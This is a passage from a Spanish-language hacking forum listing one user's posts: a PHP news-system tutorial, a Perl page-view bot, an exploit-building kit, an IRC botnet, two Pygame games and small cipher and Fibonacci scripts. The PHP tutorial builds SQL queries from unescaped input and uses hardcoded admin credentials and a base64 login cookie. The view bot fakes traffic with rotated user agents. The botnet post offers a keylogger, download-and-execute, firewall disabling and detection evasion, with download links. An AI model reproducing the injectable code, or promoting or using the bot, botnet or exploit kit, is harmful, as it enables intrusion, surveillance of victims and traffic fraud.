            if (@
mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
                return 
true;
            }
        }
    }
    
    public function 
nueva_noticia($x_titulo$x_contenido$x_fecha$categoria)
    {
        
$sumo mysql_query("SELECT MAX(id) FROM categoria_$categoria");
        
        
$s mysql_fetch_row($sumo);
        
        foreach (
$s as $d) {
            
$x_id $d 1;
        }
        if (@
mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
            return 
true;
        }
    }
    
    public function 
ver_este($id$categoria)
    {
        if (
is_numeric($id)) {
            
$total = array();
            if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
                while (
$ver = @mysql_fetch_array($que)) {
                    return array(
                        
$ver[0],
                        
$ver[1],
                        
$ver[2],
                        
$ver[3]
                    );
                }
            }
        }
    }
    
    public function 
listar_categorias()
    {
        
        
$found = array();
        
        if (
$re = @mysql_query("show tables from " $this->db)) {
            
            while (
$dat mysql_fetch_row($re)) {
                
$separo split("_"$dat[0]);
                
array_push($found$separo[1]);
            }
            return array(
                
$found
            
);
        }
        
    }
    
    public function 
ver_todo($categoria)
    {
        
$total = array();
        if (
$que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
            while (
$ver = @mysql_fetch_array($que)) {
                
array_push($total$ver);
            }
            return array(
                
$total
            
);
        }
    }
    
    public function 
mod($categoria$id$tit$con$fech)
    {
        if (@
mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
            return 
true;
        }
    }
    
    public function 
crear_comentario($categoria$id_noticia$fecha$apodo$mensaje)
    {
        
        
$sumo mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");
        
        
$s mysql_fetch_row($sumo);
        
        foreach (
$s as $d) {
            
$x_id $d 1;
        }
        
        if (
mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
            return 
true;
        }
        
    }
    
    public function 
mod_comentario($categoria$id$fecha$apodo$contenido)
    {
        if (@
mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
            return 
true;
        }
    }
    
    public function 
ver_comentarios($categoria$id)
    {
        
$todo = array();
        if (
$ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
            while (
$que = @mysql_fetch_array($ver)) {
                if (
$que[0] == 1) {
                    
array_push($todo$que);
                }
            }
            return array(
                
$todo
            
);
        }
        
    }
    
    
    public function 
borrar_comentario($categoria$id)
    {
        if (
is_numeric($id)) {
            if (@
mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
                return 
true;
            }
        }
    }
    
    
    public function 
cantidad_posts($categoria)
    {
        
$valor    mysql_query("SELECT MAX(id) FROM categoria_$categoria");
        
$cantidad mysql_fetch_row($valor);
        return 
$cantidad[0];
    }
    
    
    public function 
cerrar()
    {
        if (
mysql_close()) {
            return 
true;
        }
    }
    
}

// The End ?

?>



Ahora creen el siguiente codigo llamado admin.php :

Código (php) [Seleccionar]

<?php

include("login_now.php"); // LLamamos al archivo LoginNow.php
include("noticion.php"); // Llamamos al archivo noticion.php

$username "admin"// Declaramos el usuario
$password "21232f297a57a5a743894a0e4a801fc3"// Declaramos el password "admin" en md5

$host_mysql  "localhost"// Establecemos el host mysql
$user_mysql  "root"//Establecemos el usuario mysql
$pass_mysql  ""// Establecemos el password mysql
$db_mysql    "noticias"// Establecemos la BD Mysql
$tabla_mysql "test"// Declaramos el nombre de la tabla que contendra las noticias

$categoria "test"// Declaramos la categoria de las noticias

if (isset($_COOKIE['test'])) { // Si existe el cookie test ...
    
$comprobar base64_decode($_COOKIE['test']); // Decodificamos sub contenido que esta en base64 y guardamos su contenido en la variable $comprobar
    
$parte     preg_split("/@/"$comprobar); // Dividimos el usuario y el password que estan en entre @
    
$cookie    = new LoginNow// Creamos el objeto de la clase LoginNow
    
$cookie->campos($parte[0], $parte[1]); // Establecemos los valores del usuario y el password que estan en la variable $parte
    
if ($cookie->secure($username$password)) { // Verificamos con los valores globales que sean realmente los mismos passwords
        
        
$noticia = New noticion// Creamos el objeto noticion
        
$noticia->datos($host_mysql$user_mysql$pass_mysql$db_mysql); // Establecemos los datos Mysql
        
        
if (mysql_num_rows(mysql_query("show tables like 'categoria_$tabla_mysql'"))) { // Verificamos si existe la categoria
            
            
echo "
<title>Administrador</title>
<br><h1><center>Administrador</center></h1><br>
"
;
            
            list(
$noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias
            
            
echo "<center><table border=1>";
            
            foreach (
$noticias as $ver) { // Listamos la lista de noticias
                
echo "<td>" htmlentities($ver[0]) . "</td><td>" htmlentities($ver[1]) . "</td><td>" htmlentities($ver[3]) . "</td><tr>"// Mostramos el ID,Titulo y Fecha
            
}
            echo 
"</table></center><br>";
            
            echo 
"
<center>
<form action='' method=POST>
Titulo : <input type=text name=titulo value=titulo><br><br>
Contenido : <input type=text name=contenido value=test><br><br>
<input type=submit name=publicar value=Publicar>
</form>
</center>
"
;
            
            if (isset(
$_POST['publicar'])) {
                
                if (
$noticia->nueva_noticia(addslashes($_POST['titulo']), addslashes($_POST['contenido']), addslashes(date('Y-m-d')), $categoria)) { // Creamos la noticia ...
                    
echo "<center>Noticia Subida</center>";
                } else {
                    echo 
"<center>Error</center>";
                }
            }
            
        } else {
            
$noticia->crear_categoria($categoria); // Creamos la categoria sino existe
            
echo "Tabla creada , reinicie la pagina";
        }
        
        
$noticia->cerrar();
        
    }
} else {
    
    echo 
"
<title>Login</title>
<br><h1><center>Login</center></h1><br>
<center>
<form action='' method=POST>
Usuario : <input type=text name=usuario><br>
Password : <input type=password name=password><br><br>
<input type=submit name=login value=Entrar><br>
</form>
</center>
"
;
    
    if (isset(
$_POST['login'])) {
        
        
$login1 = new LoginNow// Creamos el objeto de la calse LoginNow 
        
$login1->campos("usuario""password"); // Establecemos los campos html del formulario donde estan el usuario y el password
        
if ($login1->secure($username$password)) { // Verificamos que sean los mismos que los globales
            
$login1->cookienow("test"); // Creamos una cookie llamada "test"
            
echo "<center>Bienvenido administrador</center>";
        } else {
            echo 
"<center>Error en el inicio de sesion</center>";
        }
    }
    
}

?>



Primero modifiquen los datos mysql por los suyos en el admin.php despues entren con el user y pass : "admin" , deberian ver esto :



Una vez logeados :



Ahora creen las noticias que quieran , yo en mi caso voy a publicar 5 sucesivamente con "titulo" y "test".

Despues de eso mi panel se vera asi :



Ahora cargamos la plantilla creada y usada anteriormente con Dream para ir al div "body" y borrar todo lo que contiene para copiar el siguiente codigo en PHP :

Código (php) [Seleccionar]

<?php

include("noticion.php"); // Llamamos al archivo noticion.php

$host_mysql  "localhost"// Establecemos el host mysql
$user_mysql  "root"//Establecemos el usuario mysql
$pass_mysql  ""// Establecemos el password mysql
$db_mysql    "noticias"// Establecemos la BD Mysql
$tabla_mysql "test"// Declaramos el nombre de la tabla que contendra las noticias

$categoria "test"// Declaramos la categoria de las noticias

$noticia = New noticion// Creamos el objeto noticion
$noticia->datos($host_mysql$user_mysql$pass_mysql$db_mysql); // Establecemos los datos Mysql

list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias

foreach ($noticias as $ver) { // Listamos la lista de noticias
    
echo "<div class='post'>
<h3>" 
htmlentities($ver[1]) . "</h3> 
<p>" 
htmlentities($ver[2]) . "</p>
</div>"
;
}

?>



Los dos codigos estan identados y comentados para que puedan entender.

Deberian ver algo como esto :



Y el resultado de la pagina con el sistema de noticias seria :



Eso seria todo.

--========--
The End ?
--========--

Version PDF.

Version en VideoTutoriales :

https://www.youtube.com/watch?v=trrZJeyYJUQ
https://www.youtube.com/watch?v=GW-r3hOHz0Y
https://www.youtube.com/watch?v=sca5L7Lh_68
https://www.youtube.com/watch?v=y1CxJq_4ewY
https://www.youtube.com/watch?v=H-RWdyrdYwg
https://www.youtube.com/watch?v=QHE7OChFkjs

Cualquier error o sugerencia diganla para mejorar.
#75
Scripting / [Perl] DH ViewBot 0.2
16 Enero 2015, 16:59 PM
Un simple script que sirve como bot para hacer visitas con las siguientes opciones :

  • Visitar una sola pagina
  • Visitar paginas en un archivo marcado de forma ordenada
  • Visitar paginas en un archivo marcado de forma aleatoria
  • Opciones para timeout y cantidad de visitas

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #DH ViewBot 0.2
    #(C) Doddy Hackman 2015

    use Getopt::Long;
    use LWP::UserAgent;
    use URI::Split qw(uri_split);
    use IO::Socket;

    my @agents = (
    'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
        'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
    'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
    'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
    'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
        'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
    'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
    'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
    );

    GetOptions(
        "single=s"     => \$single_opt,
        "file=s"       => \$file_opt,
        "randomfile=s" => \$randomfile_opt,
        "timeout=i"    => \$timeout_opt,
        "count=i"      => \$count_opt
    );

    head();

    if ( $single_opt or $file_opt or $randomfile_opt ) {

        my $page = $single_opt;

        my $timeout = "";

        if ( $timeout_opt eq "" ) {
            $timeout = "5";
        }
        else {
            $timeout = $timeout_opt;
        }

        my $count = "";

        if ( $count_opt eq "" ) {
            $count = "10";
        }
        else {
            $count = $count_opt;
        }

        if ( $single_opt ne "" ) {

            my $page = $single_opt;

            print "\n[+] Configuration\n";

            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $page . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "[+] Visit Count  : " . $count . "\n";
            print "--------------------------------------------------";

            visitar( $page, $timeout, $count, "single" );

        }

        elsif ( $randomfile_opt ne "" ) {

            visitar_random( $randomfile_opt, $timeout, $count );

        }
        elsif ( $file_opt ne "" ) {

            if ( $file_opt ne "" ) {

                unless ( -f $file_opt ) {
                    print "\n[-] File not exist\n";
                    copyright();
                    exit(1);
                }

                print "\n" . toma_fecha_y_hora("Started");

                my @paginas = repes( leer_archivo($file_opt) );

                for my $page (@paginas) {

                    chomp $page;

                    print "\n--------------------------------------------------";
                    print "\n[+] Page : " . $page . "\n";
                    print "[+] Timeout : " . $timeout . "\n";
                    print "[+] Visit Count : " . $count . "\n";
                    print "--------------------------------------------------";

                    visitar( $page, $timeout, $count, "file" );

                }

                print "\n" . toma_fecha_y_hora("Finished");

            }
            else {
                print "\n[-] Option not selected\n";
                exit(1);
            }

        }

    }
    else {
        print qq(
    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    );
        print
    "[+] Example : perl $0 -single http://www.supertangas.com/index.php -timeout 5 -count 50\n";
    }
    copyright();

    # Functions

    sub head {
        print "\n-- == DH ViewBot 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2015 == --\n";
    }

    sub visitar_random {

        my ( $file, $timeout, $count ) = @_;

        my @paginas     = repes( leer_archivo($file) );
        my $total_bueno = "";
        my $total_malo  = "";

        print "\n" . toma_fecha_y_hora("Started");

        for ( 1 .. $count ) {
            my $target = $paginas[ rand(@paginas) ];
            chomp $target;
            print "\n--------------------------------------------------";
            print "\n[+] Page : " . $target . "\n";
            print "[+] Timeout : " . $timeout . "\n";
            print "--------------------------------------------------";

            print "\n\n[+] Getting information ...\n\n";

            print toma_banner($target) . "\n";

            my ( $status, $control ) = toma_response($target);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            print "\n[+] Visit $_ : $target : " . $status . "\n";

            sleep($timeout);

        }

        print "\n[+] Successful Visits : " . $total_bueno . "\n";

        print "\n" . toma_fecha_y_hora("Finished");

    }

    sub visitar {

        my ( $page, $timeout, $count, $type ) = @_;

        print "\n\n[+] Getting information ...\n\n";

        print toma_banner($page);

        if ( $type eq "single" ) {
            print "\n\n" . toma_fecha_y_hora("Started") . "\n";
        }
        else {
            print "\n\n" . "[+] Working ..." . "\n\n";
        }

        my $total_bueno = "";
        my $total_malo  = "";

        for ( 1 .. $count ) {

            sleep($timeout);

            my ( $status, $control ) = toma_response($page);

            if ( $control eq "1" ) {
                $total_bueno++;
            }
            else {
                $total_malo++;
            }

            syswrite STDOUT, "[+] Visit $_ : $page : " . $status . "\r";

        }

        syswrite STDOUT,
          "[+] Successful Visits : " . $total_bueno . "\t\t\t\t\t\t\t\t\t\t\r";

        if ( $type eq "single" ) {
            print "\n" . toma_fecha_y_hora("Finished");
        }
        else {
            print "\n" . "[+] Finished\n";
        }

    }

    sub toma_response {
        my $control = "";
        my $nave    = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        if ( $code->is_success ) {
            $control = "1";
        }
        else {
            $control = "0";
        }
        my $status = $code->status_line();
        return ( $status, $control );
    }

    sub toma_banner {
        my $resultado = "";
        my $nave      = LWP::UserAgent->new();
        $nave->agent( $agents[ rand @agents ] );
        $nave->timeout(5);
        my $code = $nave->get( $_[0] );
        $resultado = $resultado
          . "--------------------------------------------------------------------------";
        $resultado = $resultado . "\n[+] IP : " . get_ip( $_[0] );
        $resultado = $resultado . "\n[+] Date : " . $code->header('date');
        $resultado = $resultado . "\n[+] Server : " . $code->header('server');
        $resultado =
          $resultado . "\n[+] Connection : " . $code->header('connection');
        $resultado =
          $resultado . "\n[+] Content-Type : " . $code->header('content-type');

        if ( $code->header("Set-Cookie") ne "" ) {
            $resultado =
              $resultado . "\n[+] Cookie : " . $code->header("Set-Cookie");
        }
        $resultado = $resultado
          . "\n--------------------------------------------------------------------------";
        return $resultado;
    }

    sub get_ip {
        my ( $nomesirve1, $host, $nomesirve2, $nomesirve3, $nomesirve4 ) =
          uri_split( $_[0] );
        my $get = gethostbyname($host);
        return inet_ntoa($get);
    }

    sub toma_fecha_y_hora {

        my (
            $segundos, $minutos,    $hora,       $dia, $mes,
            $año,     $nomesirve1, $nomesirve2, $nomesirve3
        ) = localtime(time);

        $año += 1900;
        $mes++;

        return "[+] $_[0] Time : " . "$dia/$mes/$año $hora:$minutos:$segundos\n";

    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub leer_archivo {
        my @r;
        my @words;
        open( FILE, $_[0] );
        @words = <FILE>;
        close FILE;
        for (@words) {
            push( @r, $_ );
        }
        return (@r);
    }

    #The End ?


    Un ejemplo de uso :



    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl

    -- == DH ViewBot 0.2 == --

    [+] Options :

    -single : Page to visit
    -file : File with pages to visit
    -randomfile : File with pages to visit as random
    -timeout : Time for visit
    -count : Count to visist

    [+] Example : perl C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBo
    t\view.pl -single http://www.supertangas.com/index.php -timeout 5 -count 50

    -- == (C) Doddy Hackman 2015 == --

    C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl -single h
    ttp://www.petardas.com/index.php -timeout 5 -count 5

    -- == DH ViewBot 0.2 == --

    [+] Configuration

    --------------------------------------------------
    [+] Page : http://www.petardas.com/index.php
    [+] Timeout : 5
    [+] Visit Count  : 5
    --------------------------------------------------

    [+] Getting information ...

    --------------------------------------------------------------------------
    [+] IP : 5.135.178.142
    [+] Date : Fri, 2 Jan 2015 16:44:10 GMT
    [+] Server : Apache/2.2.3 (CentOS)
    [+] Connection : close
    [+] Content-Type : text/html; charset=latin1
    [+] Cookie : pais=AR; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; domain=www.
    petardas.com, cookieconsent=1; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; do
    main=www.petardas.com, esmovil=0; expires=Mon, 2-Jan-2015 00:17:30 GMT; path=/;
    domain=www.petardas.com
    --------------------------------------------------------------------------

    [+] Started Time : 2/1/2015 13:44:31

    [+] Successful Visits : 5

    [+] Finished Time : 2/1/2015 13:45:2

    -- == (C) Doddy Hackman 2015 == --

#76
PHP / [PHP] DH Labs 0.1
9 Enero 2015, 17:14 PM
Les dejo esta recopilacion de codigos php que uso para hacer exploits y programas orientados a la seguridad web.

Las funciones que tiene son :

  • Blind SQL Injection
  • ByPass Login
  • ByPass Uploader
  • Cross Site Request Forgery
  • Eval injection
  • Full Source Discloure
  • Headers Injection
  • HTML Injection
  • Insecure Cookie Handling
  • Local File Inclusion
  • Listado de directorios
  • Remote Command Execution
  • Remote File Inclusion
  • SQL Injection
  • XSS

    Una imagen :



    Si lo quieren bajar lo pueden hacer de aca.
#77
Scripting / [Python-Pygame] E.T Must Die 0.3
1 Enero 2015, 15:46 PM
Un simple shooter que hice en Python usando Pygame , el juego consiste en eliminar la amenaza de E.T antes de que escape de nuestro planeta.
Es un juego raro pero me sirvio para estudiar el tema de programacion de juegos en Python xD.

Una imagen :



Un video de como se juega :

[youtube=640,360]https://www.youtube.com/watch?v=4IDdJbHybXM[/youtube]

El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#E.T Must Die 0.3
#(C) Doddy Hackman 2015
#Credits : Based on Bush Shootout.py Coded by Nathaniel
#Thanks to Nathaniel

import pygame
from pygame.locals import *
import sys,random,time

pygame.init()

juego = pygame.display.set_mode((860,640))
pygame.display.set_caption("E.T Must Die 0.3")
icono = pygame.image.load("Data/Images/icono.png").convert_alpha()      
pygame.display.set_icon(icono)
pygame.mouse.set_visible(False)

letra = pygame.font.Font(None,35)

vida = 200
control = False

class mira(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.mira = pygame.image.load("Data/Images/mira.png")
self.rect = self.mira.get_rect()
self.rect.x = 860/2
self.rect.y = 640/2
def mover(self):
posicion = pygame.mouse.get_pos()
self.rect.x = posicion[0]
self.rect.y = posicion[1]
juego.blit(self.mira,self.rect)
def lanzar(self):
yeah = pygame.sprite.spritecollide(self,lista,dokill=False)
if yeah:

global vida
vida = vida - 10
pygame.mixer.Sound("Data/Sounds/risa2.wav").play()

class threat(pygame.sprite.Sprite):
def __init__(self):
pygame.sprite.Sprite.__init__(self)
self.imagen = pygame.image.load("Data/Images/avatar.png")
self.rect = self.imagen.get_rect()
self.tiempo = 15
self.contador = int(self.tiempo)
def mover(self):
self.contador += 1
if self.contador >= self.tiempo:
self.rect.x = random.randrange(20,850)
self.rect.y = random.randrange(30,540)
self.contador = 0
juego.blit(self.imagen,self.rect)


pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/portada.png")
juego.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()

mira = mira()
threat = threat()

lista = pygame.sprite.Group()
lista.add(threat)

cro = pygame.time.Clock()
mil = 0

while True:

       mil += cro.tick()
       casi = mil/1000
       casi = 30 - casi

if casi < 1:
control = True

for acatoy in pygame.event.get():
               
if acatoy.type == QUIT:
sys.exit(1)

if acatoy.type == MOUSEBUTTONDOWN and acatoy.button == 1:
pygame.mixer.Sound("Data/Sounds/disparo.wav").play()
mira.lanzar()

if not control:

fondo = pygame.image.load("Data/Images/fondo.jpg")
juego.blit(fondo,(0,0))
juego.blit(letra.render("Remaining Time : "+str(casi),True,(255,0,0)),(20,10))
juego.blit(letra.render("Threat "+str(vida),True,(255,0,0)),(700,10))
mira.mover()
threat.mover()

if vida == 0:
over = pygame.image.load("Data/Images/ganaste.png")
juego.blit(over,(0,0))
pygame.display.update()
time.sleep(10)
sys.exit(1)

else:
over = pygame.image.load("Data/Images/perdiste.png")
juego.blit(over,(0,0))
pygame.display.update()
pygame.mixer.Sound("Data/Sounds/risa.wav").play()
time.sleep(10)
sys.exit(1)

pygame.time.delay(15)
pygame.display.flip()

#The End ?



Si quieren bajar el juego lo pueden hacer de aca.
#78
Como regalo de navidad les traigo una IRC Botnet que hice en Delphi con la siguientes opciones :

  • Ejecutar comandos
  • Listar procesos activos
  • Cerrar procesos
  • Listar archivo de un directorio
  • Borrar archivos y directorios
  • Leer archivos
  • Abrir y cerrar la lectora
  • Mostrar y ocultar iconos
  • Mostrar y ocultar taskbar
  • Enviar pulsaciones de teclado con SendKeys
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla
  • Listar Drives
  • Listar servicios
  • Listar ventanas de windows abiertas
  • Activar o desactivar el firewall
  • Apagar,cerrar sesion y reiniciar computadora
  • Mostrar mensajitos en la pantalla
  • Abrir paginas en el navegador
  • Cargar paint
  • Activar y desactivar Regedit
  • Cambiar el texto de la barra de tareas por la palabra que quieran
  • Descargar y ejecutar archivos
  • Ver la IP del infectado
  • Keylogger incorporado

    El Builder incorpora las siguientes opciones :

  • Se puede escoger la configuracion del servidor IRC a usar , configurar el keylogger y la carpeta en la que se esconde el server
  • Se puede cambiar la extension y el icono del server
  • Podes detectar los nuevos infectados que ingresan al canal con mensajes de alerta por parte del programa cuando se este minimizado
  • El stub y el bot de control hablan cada cierto tiempo para evitar ser vistos como bot

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=3TUN9_rq2sE[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#79
Scripting / [Python-Pygame] Cruel Hangman 0.2
19 Diciembre 2014, 15:02 PM
Un simple ahorcado que hice en python usando Pygame , el juego es una  parodia del capitulo llamado "Chef se volvio loco" de South Park , es solo una parodia de ese capitulo no se lo vayan a tomar en serio.

Una imagen :



El codigo :

Código (python) [Seleccionar]

#!usr/bin/python
#Cruel Hangman 0.2
#(C) Doddy Hackman 2014

import pygame,sys,time,random
from pygame.locals import *

test1 = ""
test2 = ""
test3 = ""
test4 = ""
test5 = ""

des1 = "0"
des2 = "0"
des3 = "0"
des4 = "0"
des5 = "0"

gane = "0"
perdi = "0"

repetido = []

oportunidades = 7

def escribir_fuente(texto,x,y):
cargando_fuente = pygame.font.SysFont(None, 40)
tipo_fuente = cargando_fuente.render(texto, True, (255, 0, 0))
posicion = tipo_fuente.get_rect()
posicion.centerx = x
posicion.centery = y
screen.blit(tipo_fuente,posicion)

def actualizar(letra,letra1,letra2,letra3,letra4,letra5):

  global oportunidades
 
  if letra=="inicio":

   test1 = ""
   test2 = ""
   test3 = ""
   test4 = ""
   test5 = ""

   des1 = "0"
   des2 = "0"
   des3 = "0"
   des4 = "0"
   des5 = "0"

   gane = "0"
   perdi = "0"
   
   oportunidades = 7
   
   global repetido
   
   repetido = []
     
   over = pygame.image.load("Data/Images/logoinicio.png")
   screen.blit(over,(0,0))
   
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente("",300,560)
   escribir_fuente("",350,560)
   escribir_fuente("",400,560)
   escribir_fuente("",450,560)
   escribir_fuente("",500,560)
     
   pygame.display.update()
   
  else:


   if oportunidades==7:
    over = pygame.image.load("Data/Images/logoinicio.png")
    screen.blit(over,(0,0))
       
   global test1
   global test2
   global test3
   global test4
   global test5
   
   global des1
   global des2
   global des3
   global des4
   global des5
   
   global gane
   global perdi
   
   control = 0
   
   if letra==letra1:
    test1 = letra
    if des1 == "0":
     des1 = "1"
     control = 1

   if letra==letra2:
    test2 = letra
    if des2 == "0":
des2 = "1"
control = 1
   
   if letra==letra3:
    test3 = letra
    if des3 == "0":
des3 = "1"
control = 1
   
   if letra==letra4:
    test4 = letra
    if des4 == "0":
des4 = "1"
control = 1
   
   if letra==letra5:
    test5 = letra
    if des5 == "0":
des5 = "1"
control = 1

   if des1=="1" and des2=="1" and des3=="1" and des4=="1" and des5=="1":
oportunidades = 7
pygame.mixer.Sound("Data/Sounds/ohh.ogg").play()
escribir_fuente("You Win",680,50)
escribir_fuente("Press Enter to continue",680,90)
gane = "1"
pygame.display.update()

   if control==1:
    repetido.append(letra)
    pygame.mixer.Sound("Data/Sounds/bien.ogg").play()
   else:
if not letra in repetido:
oportunidades = oportunidades - 1 
pygame.mixer.Sound("Data/Sounds/mal.ogg").play()

   if oportunidades==6:
    over = pygame.image.load("Data/Images/logocabeza.png")
    screen.blit(over,(0,0))

   if oportunidades==5:
    over = pygame.image.load("Data/Images/logopalo.png")
    screen.blit(over,(0,0))
   
   if oportunidades==4:
    over = pygame.image.load("Data/Images/logobrazo1.png")
    screen.blit(over,(0,0))   
     
   if oportunidades==3:
    over = pygame.image.load("Data/Images/logobrazo2.png")
    screen.blit(over,(0,0))
     
   if oportunidades==2:
    over = pygame.image.load("Data/Images/logopierna1.png")
    screen.blit(over,(0,0))
   
   if oportunidades==1:
    over = pygame.image.load("Data/Images/final.png")
    screen.blit(over,(0,0))
    pygame.mixer.Sound("Data/Sounds/festejo.ogg").play()
    escribir_fuente("You Lost",680,50)
    escribir_fuente("Press Enter to continue",680,90)
    perdi = "1"
    test1 = letra1
    test2 = letra2
    test3 = letra3
    test4 = letra4
    test5 = letra5
       
   escribir_fuente("_",300,570)
   escribir_fuente("_",350,570)
   escribir_fuente("_",400,570)
   escribir_fuente("_",450,570)
   escribir_fuente("_",500,570)
   
   escribir_fuente(test1,300,560)
   escribir_fuente(test2,350,560)
   escribir_fuente(test3,400,560)
   escribir_fuente(test4,450,560)
   escribir_fuente(test5,500,560)
   
   pygame.display.update()
   

screen = pygame.display.set_mode((860,640),0,32)

icono = pygame.image.load("Data/Images/icono.png").convert_alpha()       
pygame.display.set_icon(icono)
pygame.display.set_caption("Cruel Hangman 0.2 (C) Doddy Hackman 2014")

pygame.init()

pygame.mixer.Sound("Data/Sounds/menu.wav").play()
men = pygame.image.load("Data/Images/logohangman.png")
screen.blit(men,(0,0))
pygame.display.update()
time.sleep(9)

def game():

#palabras = ["pizza","agrio"]
palabras =

["andar","banco","cazar","clave","etapa","oasis","parte","saber","socio","u

sado","ronca","boxeo","pizza","groso","fallo","acera","acoso","agrio","ansi

a","gnomo","gordo","pieza"]

palabra = random.choice(palabras)

letra1 = palabra[0]
letra2 = palabra[1]
letra3 = palabra[2]
letra4 = palabra[3]
letra5 = palabra[4]

actualizar("inicio",letra1,letra2,letra3,letra4,letra5)

pygame.mixer.init()
pygame.mixer.music.load("Data/Sounds/theme.mp3")
pygame.mixer.music.play()


while True:
  for eventos in pygame.event.get():
   if eventos.type == QUIT:
    sys.exit(0)


   if (eventos.type == pygame.KEYDOWN) and (eventos.key ==

pygame.K_RETURN):
    if gane=="1" or perdi=="1":
    game()

   if eventos.type==KEYDOWN :
    if eventos.unicode.lower() in ("abcdefghijklmnopqrstuvwxyz"):
     actualizar(eventos.unicode,letra1,letra2,letra3,letra4,letra5)
   
game()

# The End ?



Si quieren bajar el juego lo pueden hacer de

aca.
#80
Scripting / [Perl] Ejemplo de Cifrado Vigenere
13 Diciembre 2014, 15:23 PM
Un simple ejemplo del cifrado Vigenere que hice usando un modulo que encontre en cpan.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Vigenere Cipher
# Coded By Doddy Hackman in the year 2014

use Crypt::Vigenere;

head();
menu();
copyright();

# Functions

sub head {
   print "\n-- == Vigenere Cipher == --\n";
}

sub copyright {
   print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

sub menu {
   print qq(
===============
= Menu        =
===============
1 - Encode    =
2 - Decode    =
3 - Exit      =
===============
);

   print "\n[+] Option : ";
   chomp( my $op = <stdin> );

   if ( $op eq "3" ) {
       copyright();
       <stdin>;
       exit(1);
   }

   print "\n[+] Enter text : ";
   chomp( my $text = <stdin> );

   print "\n[+] Enter Key : ";
   chomp( my $key = <stdin> );

   print "\n[+] Result ...\n\n";

   $tool = Crypt::Vigenere->new($key);

   if ( $op eq "1" ) {
       print $tool->encodeMessage($text);
       <stdin>;
       menu();
   }
   elsif ( $op eq "2" ) {
       print $tool->decodeMessage($text);
       <stdin>;
       menu();
   }
   else {
       menu();
   }

}

# The End ?


Eso es todo.
#81
Scripting / [Perl] Ejemplo de Sucesion Fibonacci
5 Diciembre 2014, 15:04 PM
Un simple ejemplo de la Sucesion Fibonacci en Perl.

El codigo :

Código (perl) [Seleccionar]

# !usr/bin/perl
# Sucesion Fibonacci
# Coded By Doddy Hackman in the year 2014

head();

print "\n\n[+] Enter count : ";
chomp( my $cantidad = <stdin> );

print "\n";

my ( $uno, $dos ) = ( "0", "1" );

for my $num ( 0 .. $cantidad ) {
    print "[+] : " . $uno . "\n";
    my $final = $uno + $dos;
    $uno = $dos;
    $dos = $final;
}

copyright();
<stdin>;
exit(1);

# Functions

sub head {
    print "\n-- == Fibonacci Sequence == --\n";
}

